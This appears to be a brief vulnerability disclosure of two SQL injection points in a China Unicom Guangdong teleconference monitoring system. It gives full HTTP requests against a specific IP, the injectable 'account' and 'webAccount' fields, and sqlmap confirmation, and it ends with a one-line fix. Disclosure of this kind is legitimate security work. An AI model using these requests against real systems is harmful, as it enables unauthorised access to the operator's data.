China Unicom telephone conference monitoring system SQL Injection

China Unicom telephone conference monitoring system SQL Injection

China Unicom telephone conference monitoring system SQL Injection

China Unicom Guangdong branch company telephone conference monitoring system SQL Injection

1) POST injection

Use the josn string

POST /services/public/settings/settings.asmx/getquestion HTTP/1.1Content-Type: application/jsonContent-Length: 50X-Requested-With: XMLHttpRequestReferer: http://210.21.119.232:8080/Cookie: ASP.NET_SessionId=vduwri55xtumw355tw0osf55Host: 210.21.119.232:8080Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*{"account":"1"}

Keyword: account

Sqlmap test. The result is displayed.
 

 

2) The second injection is a Delayed Injection.

POST /services/public/home/login.asmx/registeroomanduser HTTP/1.1Content-Type: application/jsonContent-Length: 132X-Requested-With: XMLHttpRequestReferer: http://210.21.119.232:8080/Cookie: ASP.NET_SessionId=vduwri55xtumw355tw0osf55Host: 210.21.119.232:8080Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*{"answer":"","email":"","question":"","roomPswd":"","userName":"","userPswd":"","webAccount":"1"}

Keyword injection: webAccount



Get
 

 

Delayed Injection takes too long, point to end

 

 

 

Solution:

Limit, filter